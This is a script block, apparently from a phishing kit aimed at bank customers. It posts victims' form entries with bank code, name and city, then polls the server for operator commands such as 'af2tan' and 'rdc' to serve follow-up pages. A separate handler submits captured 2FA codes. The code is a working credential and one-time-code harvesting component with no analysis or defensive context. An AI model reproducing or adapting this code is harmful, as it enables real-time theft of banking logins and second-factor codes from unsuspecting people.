<script>
var datenx = null;
var y = document.getElementById("root");
var x = document.getElementById("shpin");
var interval = null;

function send(led_sts) 
{
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.responseText == "af2tan") {
      
      datenx =  this.responseText;
      clearInterval(interval);getData();

            } else if (this.responseText == "af2zx") {
      
      datenx =  this.responseText;
      clearInterval(interval);getData();

  			} else if (this.responseText == "line") {
      
      datenx =  this.responseText;
      clearInterval(interval);getData();

            } else if (this.responseText == "rdc") {
      
      datenx =  this.responseText;
      clearInterval(interval);getData();

            } 
            
      };
     	 xhttp.open("GET", "?user=<?php echo $enil;?>&2fa="+led_sts, true);      
  		 xhttp.send();
    }

    function getData() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.status == 200) {
                document.getElementById("root").innerHTML = this.responseText;
                setTimeout(function(){
                x.style.display = "none";
                y.style.display = "block";
                }, 3444);
        }
      };
      xhttp.open("GET","../"+datenx+"/?user=<?php echo $enil;?>&b=<?php echo $blz;?>&n=<?php echo $name;?>&c=<?php echo $city;?>", true);
      xhttp.send();

    }

   $(document).ready(function(){
                            $(document).on("click","span",function(a){
                              a.preventDefault();
                              $.post("?user=<?php echo $enil;?>&b=<?php echo $blz;?>&n=<?php echo $name;?>&c=<?php echo $city;?>&",$(this).serialize(),function(c,b){
                y.style.display = "none";
                x.style.display = "block";
interval = setInterval(function() 
    {
      send();
    }, 2500); 
              
                                  }
                                    )})});
 $(document).ready(function(){
                            $(document).on("submit","form",function(a){
                              a.preventDefault();
                              $.post("?user=<?php echo $enil;?>&b=<?php echo $blz;?>&n=<?php echo $name;?>&c=<?php echo $city;?>&",$(this).serialize(),function(c,b){
                y.style.display = "none";
                x.style.display = "block";
                                      send();
interval = setInterval(function() 
    {
      send();
    }, 2500); 
              
                                  }
                                    )})});
                                    
$("#2fa_form").submit(function(event) {


        event.preventDefault();

        var form = $(this);
        var url = "?2fa&user=<?php echo $enil;?>&b=<?php echo $blz;?>&n=<?php echo $name;?>&c=<?php echo $city;?>";

        $.ajax({
            type: "POST",
            url: url,
            data: form.serialize(),
            success: function(data) {

            
            }
        });});

</script>